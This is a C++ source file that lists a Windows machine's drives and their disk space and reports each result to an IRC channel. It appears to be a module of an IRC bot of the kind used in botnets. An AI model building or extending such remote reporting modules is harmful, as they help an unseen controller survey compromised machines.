-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathdriveinfo.cpp
122 lines (101 loc) · 2.93 KB
/
driveinfo.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#include "includes.h"
#include "functions.h"
#include "externs.h"
BOOL FileExists(char *filename, int mode)
{
return (_access(filename, mode) != -1);
}
const char *commaI64(unsigned __int64 number)
{
const int size = 50;
int counter = 0;
static char str[size];
memset(str, 0, sizeof(str));
char tempStr[size];
char *ptr1=tempStr, *ptr2;
do {
*ptr1++ = (char)((number % 10) + '0');
number /= 10;
if (number && !(++counter % 3))
*ptr1++ = ',';
} while(number);
for( --ptr1, ptr2 = str; ptr1 >= tempStr; --ptr1)
*ptr2++ = *ptr1;
*ptr2 = '\0';
return (str);
}
const char *DriveType(LPCSTR Drive)
{
switch(fGetDriveType(Drive)) {
case DRIVE_UNKNOWN:
return ("Unknown");
case DRIVE_NO_ROOT_DIR:
return ("Invalid");
case DRIVE_FIXED:
return ("Disk");
case DRIVE_REMOTE:
return ("Network");
case DRIVE_CDROM:
return ("Cdrom");
case DRIVE_RAMDISK:
return ("RAM");
default:
return ("?");
}
}
DKSP DiskSpace(LPCSTR Drive)
{
DKSP dksp;
dksp.AvailableBytes=-1;
dksp.FreeBytes=-1;
dksp.TotalBytes=-1;
if (fGetDiskFreeSpaceEx)
fGetDiskFreeSpaceEx(Drive,(PULARGE_INTEGER)&dksp.AvailableBytes,
(PULARGE_INTEGER)&dksp.TotalBytes,(PULARGE_INTEGER)&dksp.FreeBytes);
return (dksp);
}
DKSPKB DiskSpaceKB(LPCSTR Drive)
{
DKSPKB dkspkb;
DKSP dksp=DiskSpace(Drive);
if(dksp.AvailableBytes == -1 || dksp.FreeBytes == -1 || dksp.TotalBytes == -1) {
sprintf(dkspkb.AvailableKB, "failed");
sprintf(dkspkb.FreeKB, "failed");
sprintf(dkspkb.TotalKB, "failed");
} else {
_snprintf(dkspkb.AvailableKB,sizeof(dkspkb.AvailableKB),"%sKB",commaI64(dksp.AvailableBytes/1024));
_snprintf(dkspkb.FreeKB,sizeof(dkspkb.FreeKB),"%sKB",commaI64(dksp.FreeBytes/1024));
_snprintf(dkspkb.TotalKB,sizeof(dkspkb.TotalKB),"%sKB",commaI64(dksp.TotalBytes/1024));
}
return (dkspkb);
}
void DriveSpace(SOCKET sock, char *chan, BOOL notice, LPCSTR Drive)
{
char sendbuf[IRCLINE];
DKSPKB dkspkb=DiskSpaceKB(Drive);
if (strcmp(dkspkb.TotalKB,"failed") == 0)
_snprintf(sendbuf, sizeof(sendbuf), "[MAIN]: %s Drive (%s): Failed to stat, device not ready.", DriveType(Drive), Drive);
else
_snprintf(sendbuf, sizeof(sendbuf), "[MAIN]: %s Drive (%s): %s total, %s free, %s available.", DriveType(Drive), Drive, dkspkb.TotalKB, dkspkb.FreeKB, dkspkb.AvailableKB);
irc_privmsg(sock, chan, sendbuf, notice, TRUE);
addlog(sendbuf);
return;
}
void DriveInfo(SOCKET sock, char *chan, BOOL notice, LPCSTR Drive)
{
if (Drive) {
DriveSpace(sock, chan, notice, Drive);
} else {
DWORD dwSize = fGetLogicalDriveStrings(0, NULL);
LPSTR pszDrives = (LPSTR)malloc(dwSize + 2);
fGetLogicalDriveStrings(dwSize + 2,(LPSTR)pszDrives);
LPCTSTR pszDrv = pszDrives;
while (*pszDrv) {
if (strcmp(pszDrv,"A:\\") != 0)
DriveSpace(sock, chan, notice, pszDrv);
pszDrv += _tcslen (pszDrv) + 1;
}
free(pszDrives);
}
return;
}